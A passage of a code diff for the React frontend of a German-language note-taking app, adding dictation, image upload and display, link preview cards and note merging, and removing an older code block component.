title="In die Zwischenablage kopieren"
>
{copied ? (
<>
<Check className="w-3 h-3 text-status-ok" />
<span className="text-status-ok">Kopiert!</span>
</>
) : (
<>
<Copy className="w-3 h-3 opacity-75" />
<span>Kopieren</span>
</>
)}
</button>
{canEdit && onConvertToText && (
<button
type="button"
onClick={onConvertToText}
className="min-h-[44px] sm:min-h-0 px-2 py-0.5 rounded-btn text-[11px] font-mono text-muted hover:text-accent hover:bg-panel-elevated transition-colors inline-flex items-center cursor-pointer"
>
Als Text
</button>
)}
</div>
</div>
{/* Live Highlighted Overlay + Textarea */}
<div className="relative w-full overflow-x-auto">
<pre
ref={preRef}
aria-hidden="true"
className="absolute inset-0 m-0 p-2 font-mono text-xs text-main leading-relaxed whitespace-pre-wrap break-words [overflow-wrap:anywhere] pointer-events-none select-none overflow-hidden"
>
<code
className={prismLang ? `language-${prismLang}` : 'language-none'}
dangerouslySetInnerHTML={{
__html: highlightedHtml + (currentContent.endsWith('\n') ? '\n' : ''),
}}
/>
</pre>
<textarea
ref={(el) => {
localTextareaRef.current = el;
if (textareaRef) textareaRef.current = el;
registerTextareaRef?.(block.id, el);
}}
rows={1}
value={currentContent}
readOnly={!canEdit}
spellCheck={false}
autoCapitalize="off"
autoComplete="off"
autoCorrect="off"
onFocus={handleFocus}
onBlur={handleBlur}
onChange={onTextareaChange}
onKeyDown={onTextareaKeyDown}
onScroll={handleScroll}
style={{ caretColor: 'var(--text-main)' }}
className="relative block w-full m-0 p-2 font-mono text-xs leading-relaxed whitespace-pre-wrap break-words [overflow-wrap:anywhere] bg-transparent text-transparent caret-main selection:bg-accent/25 selection:text-transparent border-0 focus:outline-none focus:ring-0 resize-none overflow-hidden"
/>
</div>
</div>
);
};
@@ -1,282 +0,0 @@
import React, { useState, useMemo, useRef, useEffect } from 'react';
import Prism from 'prismjs';
import 'prismjs/components/prism-python';
import 'prismjs/components/prism-typescript';
import 'prismjs/components/prism-bash';
import 'prismjs/components/prism-json';
import 'prismjs/components/prism-go';
import 'prismjs/components/prism-sql';
import 'prismjs/components/prism-yaml';
import 'prismjs/components/prism-rust';
import 'prismjs/components/prism-c';
import 'prismjs/components/prism-cpp';
import 'prismjs/components/prism-java';
import 'prismjs/components/prism-php';
import 'prismjs/components/prism-docker';
import 'prismjs/components/prism-markdown';
import { Code, Copy, Check, Eye, Edit3 } from 'lucide-react';
import { DocumentBlock } from '../../lib/types';
export interface CodeBlockItemProps {
block: DocumentBlock;
isReadOnly: boolean;
onChangeContent: (content: string) => void;
onChangeLang: (lang: string) => void;
onFocus?: () => void;
onBlur?: () => void;
inputRef?: (el: HTMLTextAreaElement | null) => void;
}
export const CODE_LANGUAGES = [
{ id: 'javascript', label: 'JavaScript' },
{ id: 'typescript', label: 'TypeScript' },
{ id: 'python', label: 'Python' },
{ id: 'go', label: 'Go' },
{ id: 'bash', label: 'Bash / Shell' },
{ id: 'json', label: 'JSON' },
{ id: 'html', label: 'HTML / XML', alias: 'markup' },
{ id: 'css', label: 'CSS' },
{ id: 'sql', label: 'SQL' },
{ id: 'rust', label: 'Rust' },
{ id: 'cpp', label: 'C++' },
{ id: 'c', label: 'C' },
{ id: 'java', label: 'Java' },
{ id: 'php', label: 'PHP' },
{ id: 'yaml', label: 'YAML' },
{ id: 'docker', label: 'Dockerfile' },
{ id: 'markdown', label: 'Markdown' },
{ id: 'text', label: 'Plain Text' },
];
export const CodeBlockItem: React.FC<CodeBlockItemProps> = ({
block,
isReadOnly,
onChangeContent,
onChangeLang,
onFocus,
onBlur,
inputRef,
}) => {
const [isEditing, setIsEditing] = useState(false);
const [copied, setCopied] = useState(false);
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
const currentLang = block.lang || 'javascript';
// Highlighted HTML generated by Prism
const highlightedCode = useMemo(() => {
const code = block.content || '';
if (!code) return '';
const prismLang = currentLang === 'html' ? 'markup' : currentLang;
const grammar = Prism.languages[prismLang] || Prism.languages.javascript;
if (!grammar) {
return code
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
try {
return Prism.highlight(code, grammar, prismLang);
} catch {
return code
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
}, [block.content, currentLang]);
// Code lines for line numbers
const lines = useMemo(() => {
return (block.content || '').split('\n');
}, [block.content]);
const handleCopy = async (e: React.MouseEvent) => {
e.stopPropagation();
try {
await navigator.clipboard.writeText(block.content || '');
setCopied(true);
setTimeout(() => setCopied(false), 2000);
} catch {
// Fallback
}
};
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (e.key === 'Escape') {
setIsEditing(false);
return;
}
// Tab key indent/outdent
if (e.key === 'Tab') {
e.preventDefault();
const textarea = e.currentTarget;
const start = textarea.selectionStart;
const end = textarea.selectionEnd;
const val = textarea.value;
if (e.shiftKey) {
if (val.substring(start - 2, start) === ' ') {
const newVal = val.substring(0, start - 2) + val.substring(start);
onChangeContent(newVal);
setTimeout(() => {
textarea.selectionStart = textarea.selectionEnd = Math.max(0, start - 2);
}, 0);
}
} else {
const newVal = val.substring(0, start) + ' ' + val.substring(end);
onChangeContent(newVal);
setTimeout(() => {
textarea.selectionStart = textarea.selectionEnd = start + 2;
}, 0);
}
}
};
const switchToEdit = () => {
if (isReadOnly) return;
setIsEditing(true);
setTimeout(() => {
localTextareaRef.current?.focus();
}, 20);
};
return (
<div className="rounded-card border border-border bg-panel overflow-hidden shadow-xs my-1 group/code">
{/* Code Block Header Toolbar */}
<div className="flex items-center justify-between px-3 py-1.5 bg-canvas border-b border-border text-xs">
{/* Left: Language Selection */}
<div className="flex items-center gap-2">
<Code className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<select
value={currentLang}
disabled={isReadOnly}
onChange={(e) => onChangeLang(e.target.value)}
className="bg-transparent text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded px-1.5 py-0.5 outline-none cursor-pointer"
>
{CODE_LANGUAGES.map((lang) => (
<option key={lang.id} value={lang.id} className="bg-panel text-main">
{lang.label}
</option>
))}
</select>
</div>
{/* Right: Mode Toggle & Copy */}
<div className="flex items-center gap-1.5">
{!isReadOnly && (
<button
type="button"
onClick={() => {
if (isEditing) {
setIsEditing(false);
} else {
switchToEdit();
}
}}
className="px-2 py-0.5 rounded text-[11px] font-medium text-muted hover:text-main hover:bg-panel-elevated transition-colors flex items-center gap-1 cursor-pointer"
title={isEditing ? 'Zur farbigen Vorschau wechseln (Esc)' : 'Code bearbeiten'}
>
{isEditing ? (
<>
<Eye className="w-3 h-3 text-accent" />
<span>Vorschau</span>
</>
) : (
<>
<Edit3 className="w-3 h-3 text-muted" />
<span>Bearbeiten</span>
</>
)}
</button>
)}
<button
type="button"
onClick={handleCopy}
className={`px-2 py-0.5 rounded text-[11px] font-medium transition-colors flex items-center gap-1 cursor-pointer ${
copied
? 'text-emerald-500 bg-emerald-500/10'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title="Code in Zwischenablage kopieren"
>
{copied ? (
<>
<Check className="w-3 h-3 text-emerald-500" />
<span>Kopiert!</span>
</>
) : (
<>
<Copy className="w-3 h-3 opacity-70" />
<span>Kopieren</span>
</>
)}
</button>
</div>
</div>
{/* Code Block Content */}
{isEditing && !isReadOnly ? (
<div className="relative">
<textarea
ref={(el) => {
localTextareaRef.current = el;
if (inputRef) inputRef(el);
}}
rows={Math.max(3, lines.length)}
value={block.content || ''}
onFocus={() => onFocus && onFocus()}
onBlur={() => {
if (onBlur) onBlur();
}}
onChange={(e) => onChangeContent(e.target.value)}
onKeyDown={handleKeyDown}
placeholder="// Code hier eingeben..."
className="w-full p-3 bg-panel-elevated/40 font-mono text-xs text-main leading-relaxed focus:outline-none resize-none placeholder:text-faint"
/>
<div className="px-3 py-1 bg-canvas/40 border-t border-border/50 text-[10px] text-faint flex items-center justify-between">
<span>Tab: Einrücken (2 Leerzeichen) • Shift+Tab: Ausrücken</span>
<button
type="button"
onClick={() => setIsEditing(false)}
className="hover:text-accent cursor-pointer"
>
Vorschau anzeigen (Esc)
</button>
</div>
</div>
) : (
<div
onClick={switchToEdit}
className={`relative p-3 font-mono text-xs overflow-x-auto ${
isReadOnly ? '' : 'cursor-pointer hover:bg-panel-elevated/20 transition-colors'
}`}
title={isReadOnly ? undefined : 'Klicken zum Bearbeiten'}
>
{block.content ? (
<div className="flex gap-3">
{/* Line numbers */}
<div className="select-none text-right text-faint opacity-50 font-mono text-xs leading-relaxed flex-shrink-0">
{lines.map((_, idx) => (
<div key={idx}>{idx + 1}</div>
))}
</div>
{/* Syntax highlighted code */}
<pre className="m-0 p-0 font-mono text-xs leading-relaxed whitespace-pre overflow-x-auto flex-1">
<code
dangerouslySetInnerHTML={{ __html: highlightedCode }}
className={`language-${currentLang}`}
/>
</pre>
</div>
) : (
<div className="text-faint italic py-2">
{isReadOnly ? '(Kein Code hinterlegt)' : '(Klicken, um Code einzugeben...)'}
</div>
)}
</div>
)}
</div>
);
};
@@ -0,0 +1,97 @@
import React, { useEffect, useRef, useState } from 'react';
import { Loader2, Square } from 'lucide-react';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
import { triggerHaptic } from '../../lib/api';
interface DictationBlockProps {
onDone: (text: string) => void;
onCancel: () => void;
}
// What an empty bullet turns into after /diktat: listening starts right away, the whole bullet is one
// button with the live wave and a translucent "Stopp" on top. A tap ends it; the text lands in the
// bullet as plain text.
export const DictationBlock: React.FC<DictationBlockProps> = ({ onDone, onCancel }) => {
const [interim, setInterim] = useState('');
const [error, setError] = useState<string | null>(null);
const doneRef = useRef(false);
const buttonRef = useRef<HTMLButtonElement>(null);
const voice = useVoiceInput({
continuous: true,
onText: (text, final) => {
if (!final) {
setInterim(text);
return;
}
if (doneRef.current) return;
doneRef.current = true;
if (text.trim()) onDone(text.trim());
else onCancel();
},
onError: (message) => {
setError(message);
window.setTimeout(() => {
if (!doneRef.current) {
doneRef.current = true;
onCancel();
}
}, 2500);
},
});
useEffect(() => {
triggerHaptic([15, 60, 25]);
void voice.start();
buttonRef.current?.focus();
// start once when the bullet turns into the dictation
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const transcribing = voice.state === 'transcribing';
return (
<button
ref={buttonRef}
type="button"
onClick={() => {
if (voice.state === 'listening') {
triggerHaptic(20);
void voice.stop();
}
}}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
doneRef.current = true;
voice.cancel();
onCancel();
}
}}
disabled={transcribing || !!error}
aria-label="Diktat beenden"
className="relative w-full min-h-[56px] sm:min-h-[44px] my-1 rounded-card border border-accent bg-accent-dim overflow-hidden flex items-center justify-center cursor-pointer disabled:cursor-default focus:outline-none"
>
{/* Live wave across the whole bullet */}
<VoiceWave getLevel={voice.level} bars={32} className="absolute inset-x-3 inset-y-2 justify-between h-auto text-accent opacity-60" />
{interim && !error && (
<span className="absolute inset-x-3 bottom-1 text-[11px] text-main truncate text-left pointer-events-none">{interim}</span>
)}
{/* Floating stop label on top */}
<span className="relative z-10 flex items-center gap-1.5 px-3 py-1 rounded-pill bg-panel/70 text-main text-xs font-semibold backdrop-blur-sm">
{error ? (
<span className="text-status-err font-normal">{error}</span>
) : transcribing ? (
<>
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird erkannt…
</>
) : (
<>
<Square className="w-3 h-3 fill-current" /> Stopp
</>
)}
</span>
</button>
);
};
@@ -14,10 +14,10 @@ import {
Minimize2,
Sparkles,
Plus,
Search,
Check,
CloudOff,
AlertTriangle,
GitMerge,
} from 'lucide-react';
import { Document, DocumentBlock, User } from '../../lib/types';
import { api } from '../../lib/api';
@@ -45,6 +45,8 @@ export interface DocumentEditorProps {
onBackMobile?: () => void;
onOpenTask?: (taskId: string) => void;
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
/** Opens the dialog to merge this note into another one (own notes only) */
onRequestMerge?: (doc: Document) => void;
}
import { EmojiPickerModal } from './EmojiPickerModal';
@@ -191,6 +193,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
onBackMobile,
onOpenTask,
onSaveStatusChange,
onRequestMerge,
}) => {
const [doc, setDoc] = useState<Document | null>(initialDoc || null);
const [title, setTitle] = useState<string>(initialDoc?.title || '');
@@ -376,14 +379,39 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
.catch(() => {});
}, [otherPeople.length]);
// Short hint at the bottom of the editor (blocked actions, skipped undo)
// Short hint at the bottom of the editor (blocked actions, skipped undo), optionally with one action
const [notice, setNotice] = useState<string | null>(null);
const [noticeAction, setNoticeAction] = useState<{ label: string; run: () => void } | null>(null);
const noticeTimerRef = useRef<number | null>(null);
const showNotice = useCallback((message: string) => {
const showNotice = useCallback((message: string, action?: { label: string; run: () => void }) => {
setNotice(message);
setNoticeAction(action || null);
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
noticeTimerRef.current = window.setTimeout(() => setNotice(null), 3500);
noticeTimerRef.current = window.setTimeout(() => {
setNotice(null);
setNoticeAction(null);
}, action ? 7000 : 3500);
}, []);
// A bullet with its children becomes a note of its own; the server swaps the branch for a [[link]]
// and this editor receives that change through the normal sync
const handleExtractBlock = useCallback(
async (blockId: string) => {
const engine = engineRef.current;
try {
await engine?.syncNow(); // the branch as typed so far
const created = await api.extractBranch(docId, blockId, engine?.clientId || '');
await engine?.syncNow();
showNotice(`In eigene Notiz „${created.title}“ umgewandelt`, {
label: 'Öffnen',
run: () => onOpenDocBlock?.(created.id),
});
} catch (err: any) {
showNotice(err?.message || 'Umwandeln fehlgeschlagen');
}
},
[docId, onOpenDocBlock, showNotice]
);
useEffect(() => () => {
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
}, []);
@@ -818,6 +846,16 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
>
<Users className="w-3.5 h-3.5" />
</button>
{onRequestMerge && doc.isOwner && !inTrash && (
<button
type="button"
onClick={() => onRequestMerge(doc)}
className="btn-icon"
title="Mit anderer Notiz zusammenführen…"
>
<GitMerge className="w-3.5 h-3.5" />
</button>
)}
</div>
);
})()}
@@ -884,7 +922,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
)}
{/* Main Content Area */}
<div className="w-full px-4 sm:px-8 py-5 flex-1">
{/* Phones: almost no side margin; very deep outlines scroll sideways (rows keep a minimum width) */}
<div className="w-full pl-2 pr-1 sm:px-8 py-5 flex-1 overflow-x-auto sm:overflow-x-visible [-webkit-overflow-scrolling:touch]">
{zoomedBlock ? (
/* =========================================================================
FOKUS-MODUS & ZOOM-IN (HOISTED SUBTREE VIEW)
@@ -969,6 +1008,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
canEdit={canEdit}
levelOffset={levelOffset}
onZoomBlock={setZoomedBlockId}
onExtractBlock={canEdit ? handleExtractBlock : undefined}
onUpdateBlock={handleUpdateBlock}
onUpdateBlocks={handleUpdateBlocks}
onCreateBlock={handleCreateBlock}
@@ -1056,6 +1096,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
canEdit={canEdit}
levelOffset={0}
onZoomBlock={setZoomedBlockId}
onExtractBlock={canEdit ? handleExtractBlock : undefined}
onUpdateBlock={handleUpdateBlock}
onUpdateBlocks={handleUpdateBlocks}
onCreateBlock={handleCreateBlock}
@@ -1084,7 +1125,20 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
role="status"
className="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 max-w-[90vw] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel"
>
{notice}
<span>{notice}</span>
{noticeAction && (
<button
type="button"
onClick={() => {
noticeAction.run();
setNotice(null);
setNoticeAction(null);
}}
className="ml-3 font-semibold text-accent hover:underline min-h-[44px] sm:min-h-0"
>
{noticeAction.label}
</button>
)}
</div>
)}
</div>
@@ -0,0 +1,116 @@
import React, { useEffect, useState } from 'react';
import { createPortal } from 'react-dom';
import { ImageOff, Loader2, X } from 'lucide-react';
import { mediaObjectURL, parseMediaContent } from '../../lib/media';
interface ImageBlockProps {
content: string;
canEdit: boolean;
onCaptionChange: (caption: string) => void;
}
// Image block: the picture (click = full screen) and an optional caption below it.
export const ImageBlock: React.FC<ImageBlockProps> = ({ content, canEdit, onCaptionChange }) => {
const ref = parseMediaContent(content);
const [src, setSrc] = useState<string | null>(null);
const [failed, setFailed] = useState(false);
const [zoomed, setZoomed] = useState(false);
const [caption, setCaption] = useState(ref?.caption || '');
useEffect(() => {
setCaption(ref?.caption || '');
}, [ref?.caption]);
const mediaId = ref?.id;
useEffect(() => {
if (!mediaId) return;
let alive = true;
setFailed(false);
mediaObjectURL(mediaId)
.then((u) => alive && setSrc(u))
.catch(() => alive && setFailed(true));
return () => {
alive = false;
};
}, [mediaId]);
useEffect(() => {
if (!zoomed) return;
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && setZoomed(false);
window.addEventListener('keydown', onKey);
return () => window.removeEventListener('keydown', onKey);
}, [zoomed]);
if (!ref) {
return <div className="text-xs text-status-err py-1">Bild-Verweis ist beschädigt: {content}</div>;
}
const commitCaption = () => {
if (caption.trim() !== ref.caption) onCaptionChange(caption.trim());
};
return (
<figure className="my-1 space-y-1">
{failed ? (
<div className="flex items-center gap-2 h-24 px-3 rounded-card border border-border bg-panel text-xs text-muted">
<ImageOff className="w-4 h-4" /> Bild nicht verfügbar (offline oder gelöscht)
</div>
) : src ? (
<button
type="button"
onClick={() => setZoomed(true)}
title="Vergrößern"
className="block max-w-full rounded-card overflow-hidden border border-border bg-panel cursor-zoom-in"
>
<img src={src} alt={ref.caption} className="block max-w-full max-h-[28rem] object-contain" />
</button>
) : (
<div className="flex items-center justify-center w-48 h-32 rounded-card border border-border bg-panel">
<Loader2 className="w-4 h-4 animate-spin text-muted" />
</div>
)}
{canEdit ? (
<input
type="text"
value={caption}
onChange={(e) => setCaption(e.target.value)}
onBlur={commitCaption}
onKeyDown={(e) => {
if (e.key === 'Enter') {
e.preventDefault();
(e.target as HTMLInputElement).blur();
}
}}
placeholder="Beschriftung hinzufügen…"
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
/>
) : (
ref.caption && <figcaption className="text-xs text-muted">{ref.caption}</figcaption>
)}
{zoomed &&
src &&
createPortal(
<div
role="dialog"
aria-label={ref.caption || 'Bild'}
onClick={() => setZoomed(false)}
className="fixed inset-0 z-[100] bg-black/85 flex flex-col items-center justify-center p-4 cursor-zoom-out"
>
<button
type="button"
onClick={() => setZoomed(false)}
title="Schließen (Esc)"
className="absolute top-[calc(0.75rem+env(safe-area-inset-top))] right-3 w-11 h-11 flex items-center justify-center rounded-full bg-black/50 text-white"
>
<X className="w-5 h-5" />
</button>
<img src={src} alt={ref.caption} className="max-w-full max-h-[85vh] object-contain" />
{ref.caption && <p className="mt-3 text-sm text-white/90 text-center max-w-2xl">{ref.caption}</p>}
</div>,
document.body
)}
</figure>
);
};
@@ -0,0 +1,165 @@
import React, { useEffect, useRef, useState } from 'react';
import { Camera, ImagePlus, Link as LinkIcon, Loader2, X } from 'lucide-react';
import { copyExternalImage, prepareImage, UploadedMedia, uploadMedia } from '../../lib/media';
interface ImagePickerProps {
docId: string;
onDone: (media: UploadedMedia) => void;
onCancel: () => void;
}
// Inline box an empty bullet turns into after /image: pick a file (or the camera on phones), drop or
// paste an image, or give a link the server copies. Nothing is synced until the upload succeeded.
export const ImagePicker: React.FC<ImagePickerProps> = ({ docId, onDone, onCancel }) => {
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [dragOver, setDragOver] = useState(false);
const [url, setUrl] = useState('');
const fileRef = useRef<HTMLInputElement>(null);
const cameraRef = useRef<HTMLInputElement>(null);
const boxRef = useRef<HTMLDivElement>(null);
useEffect(() => {
boxRef.current?.focus();
}, []);
const uploadFile = async (file: File | Blob | null | undefined) => {
if (!file || busy) return;
if (file.type && !file.type.startsWith('image/')) {
setError('Bitte eine Bilddatei wählen');
return;
}
setBusy(true);
setError(null);
try {
const { blob, name } = await prepareImage(file);
onDone(await uploadMedia(docId, blob, name));
} catch (err: any) {
setError(err?.message || 'Hochladen fehlgeschlagen');
setBusy(false);
}
};
const copyLink = async (e?: React.FormEvent) => {
e?.preventDefault();
const target = url.trim();
if (!target || busy) return;
setBusy(true);
setError(null);
try {
onDone(await copyExternalImage(docId, target));
} catch (err: any) {
setError(err?.message || 'Bild konnte nicht übernommen werden');
setBusy(false);
}
};
return (
<div
ref={boxRef}
tabIndex={-1}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
onCancel();
}
}}
onPaste={(e) => {
const item = Array.from(e.clipboardData.items).find((i) => i.type.startsWith('image/'));
if (item) {
e.preventDefault();
void uploadFile(item.getAsFile());
}
}}
onDragOver={(e) => {
e.preventDefault();
setDragOver(true);
}}
onDragLeave={() => setDragOver(false)}
onDrop={(e) => {
e.preventDefault();
setDragOver(false);
void uploadFile(e.dataTransfer.files?.[0]);
}}
className={
dragOver
? 'my-1 p-3 rounded-card border-2 border-dashed border-accent bg-accent-dim space-y-3 focus:outline-none'
: 'my-1 p-3 rounded-card border-2 border-dashed border-border bg-panel space-y-3 focus:outline-none'
}
>
<div className="flex items-center justify-between gap-2">
<span className="text-xs font-semibold text-main flex items-center gap-1.5">
<ImagePlus className="w-4 h-4 text-accent" /> Bild einfügen
</span>
<button
type="button"
onClick={onCancel}
title="Abbrechen (Esc)"
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel-elevated"
>
<X className="w-4 h-4" />
</button>
</div>
{busy ? (
<div className="flex items-center gap-2 text-xs text-muted py-3">
<Loader2 className="w-4 h-4 animate-spin text-accent" /> Wird hochgeladen…
</div>
) : (
<>
<div className="flex flex-col sm:flex-row gap-2">
<button
type="button"
onClick={() => fileRef.current?.click()}
className="btn-primary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
>
<ImagePlus className="w-4 h-4" /> Datei wählen
</button>
<button
type="button"
onClick={() => cameraRef.current?.click()}
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 sm:hidden"
>
<Camera className="w-4 h-4" /> Foto aufnehmen
</button>
<span className="hidden sm:flex items-center text-[11px] text-faint">
oder hierher ziehen bzw. mit Strg+V einfügen
</span>
</div>
<form onSubmit={copyLink} className="flex gap-2">
<div className="relative flex-1 min-w-0">
<LinkIcon className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
type="url"
inputMode="url"
value={url}
onChange={(e) => setUrl(e.target.value)}
placeholder="https://… Bild-Link"
className="w-full h-11 sm:h-8 pl-8 pr-2 input-field text-xs"
/>
</div>
<button
type="submit"
disabled={!url.trim()}
className="btn-secondary h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40"
>
Übernehmen
</button>
</form>
</>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
<input ref={fileRef} type="file" accept="image/*" hidden onChange={(e) => void uploadFile(e.target.files?.[0])} />
<input
ref={cameraRef}
type="file"
accept="image/*"
capture="environment"
hidden
onChange={(e) => void uploadFile(e.target.files?.[0])}
/>
</div>
);
};
@@ -0,0 +1,84 @@
import React, { useEffect, useState } from 'react';
import { Globe, X } from 'lucide-react';
import { LinkPreview, loadLinkPreview } from '../../lib/linkPreview';
import { loadAuthorized } from '../../lib/media';
import { safeHref } from '../../lib/safeUrl';
interface LinkPreviewCardProps {
url: string;
canEdit: boolean;
onHide: (title: string) => void;
}
function usePicture(preview: LinkPreview | null, kind: 'image' | 'icon'): string | null {
const [src, setSrc] = useState<string | null>(null);
const has = preview ? (kind === 'image' ? preview.hasImage : preview.hasIcon) : false;
const key = preview?.key;
useEffect(() => {
if (!has || !key) return;
let alive = true;
loadAuthorized(`/api/v1/link-preview/${key}/${kind}`)
.then((p) => alive && setSrc(p.url))
.catch(() => {});
return () => {
alive = false;
};
}, [has, key, kind]);
return src;
}
// Compact card above a bullet with a web address: icon and site, title, one line of description and a
// small picture. Nothing is shown when the page offers nothing usable.
export const LinkPreviewCard: React.FC<LinkPreviewCardProps> = ({ url, canEdit, onHide }) => {
const [preview, setPreview] = useState<LinkPreview | null>(null);
const image = usePicture(preview, 'image');
const icon = usePicture(preview, 'icon');
const href = safeHref(url);
useEffect(() => {
let alive = true;
setPreview(null);
void loadLinkPreview(url).then((p) => alive && setPreview(p));
return () => {
alive = false;
};
}, [url]);
if (!preview || !href) return null;
return (
<div className="relative mb-1 max-w-xl">
<a
href={href}
target="_blank"
rel="noopener noreferrer"
className="flex items-stretch gap-3 rounded-card border border-border bg-panel hover:bg-panel-elevated transition-colors overflow-hidden no-underline"
>
<div className="min-w-0 flex-1 py-2 pl-3 pr-11 sm:pr-8 space-y-0.5">
<div className="flex items-center gap-1.5 text-[11px] text-faint min-w-0">
{icon ? (
<img src={icon} alt="" className="w-3.5 h-3.5 rounded-sm shrink-0" />
) : (
<Globe className="w-3.5 h-3.5 shrink-0" />
)}
<span className="truncate">{preview.siteName}</span>
</div>
{preview.title && <div className="text-sm font-semibold text-main line-clamp-2 leading-snug">{preview.title}</div>}
{preview.description && <div className="text-xs text-muted truncate">{preview.description}</div>}
</div>
{image && <img src={image} alt="" className="w-16 sm:w-20 object-cover shrink-0 border-l border-border" />}
</a>
{canEdit && (
<button
type="button"
onClick={() => onHide(preview.title)}
title="Vorschau für diesen Link ausblenden"
aria-label="Vorschau ausblenden"
className="absolute top-0 right-0 sm:top-1 sm:right-1 w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full bg-panel/70 text-muted hover:text-main"
>
<X className="w-3.5 h-3.5" />
</button>
)}
</div>
);
};
@@ -0,0 +1,109 @@
import React, { useMemo, useState } from 'react';
import { GitMerge, Search } from 'lucide-react';
import { FormSheet } from '../../components/FormSheet';
import { api } from '../../lib/api';
import { Document, MergeResult } from '../../lib/types';
interface MergeDialogProps {
docs: Document[];
sourceId: string;
/** Known after a drop in the sidebar; otherwise the user picks it here */
targetId?: string | null;
onClose: () => void;
onMerged: (result: MergeResult) => void;
}
const canWrite = (d: Document) => d.isOwner || d.permission === 'owner' || d.permission === 'write';
// Merging a note into another: pick the target (when not dropped onto one), confirm, merge. The source
// is appended to the target under a heading with its title and goes to the trash.
export const MergeDialog: React.FC<MergeDialogProps> = ({ docs, sourceId, targetId, onClose, onMerged }) => {
const [target, setTarget] = useState<string | null>(targetId || null);
const [query, setQuery] = useState('');
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const source = docs.find((d) => d.id === sourceId);
const targetDoc = docs.find((d) => d.id === target);
const candidates = useMemo(() => {
const q = query.trim().toLowerCase();
return docs
.filter((d) => d.id !== sourceId && !d.isArchived && canWrite(d))
.filter((d) => !q || (d.title || '').toLowerCase().includes(q))
.slice(0, 50);
}, [docs, sourceId, query]);
const submit = async (e: React.FormEvent) => {
e.preventDefault();
if (!target) return;
setBusy(true);
setError(null);
try {
onMerged(await api.mergeDocuments(target, sourceId));
} catch (err: any) {
setError(err?.message || 'Zusammenführen fehlgeschlagen');
setBusy(false);
}
};
const title = (d?: Document) => `„${d?.title || 'Unbenannte Notiz'}“`;
return (
<FormSheet
title="Notizen zusammenführen"
icon={<GitMerge className="w-4 h-4" />}
onClose={onClose}
onSubmit={submit}
submitLabel={target ? 'Zusammenführen' : 'Ziel wählen'}
busy={busy || !target}
>
{targetDoc ? (
<div className="space-y-2 text-xs">
<p className="text-main">
Notiz {title(source)} in {title(targetDoc)} zusammenführen?
</p>
<p className="text-muted">
Die Punkte von {title(source)} werden als eigener Abschnitt an {title(targetDoc)} angehängt.{' '}
{title(source)} wandert danach in den Papierkorb; „Rückgängig“ macht beides wieder rückgängig.
</p>
{!targetId && (
<button type="button" onClick={() => setTarget(null)} className="text-accent hover:underline min-h-[44px] sm:min-h-0">
Anderes Ziel wählen
</button>
)}
</div>
) : (
<div className="space-y-2">
<p className="text-xs text-muted">In welche Notiz soll {title(source)} eingefügt werden?</p>
<div className="relative">
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
autoFocus
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder="Notiz suchen…"
className="w-full h-11 sm:h-9 pl-8 pr-2 input-field text-sm"
/>
</div>
<ul className="max-h-64 overflow-y-auto divide-y divide-border rounded-card border border-border">
{candidates.map((d) => (
<li key={d.id}>
<button
type="button"
onClick={() => setTarget(d.id)}
className="w-full min-h-[44px] sm:min-h-0 px-3 py-2 flex items-center gap-2 text-left text-xs text-main hover:bg-panel-elevated"
>
<span className="shrink-0">{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
{d.folderPath && <span className="text-[10px] text-faint truncate max-w-[40%]">{d.folderPath}</span>}
</button>
</li>
))}
{candidates.length === 0 && <li className="px-3 py-3 text-xs text-faint">Keine passende Notiz</li>}
</ul>
</div>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
</FormSheet>
);
};
+298 -72
View File
@@ -20,28 +20,51 @@ import {
FileText,
Lock,
AlertTriangle,
Image as ImageIcon,
Mic,
AudioLines,
FileOutput,
} from 'lucide-react';
import { DocumentBlock, BlockType } from '../../lib/types';
import { LinkModal } from './LinkModal';
import { CodeBlockEditor, resolveLanguageId, isUnambiguousLanguageShortcut } from './CodeBlockEditor';
import { ImagePicker } from './ImagePicker';
import { ImageBlock } from './ImageBlock';
import { AudioRecorderPicker } from './AudioRecorderPicker';
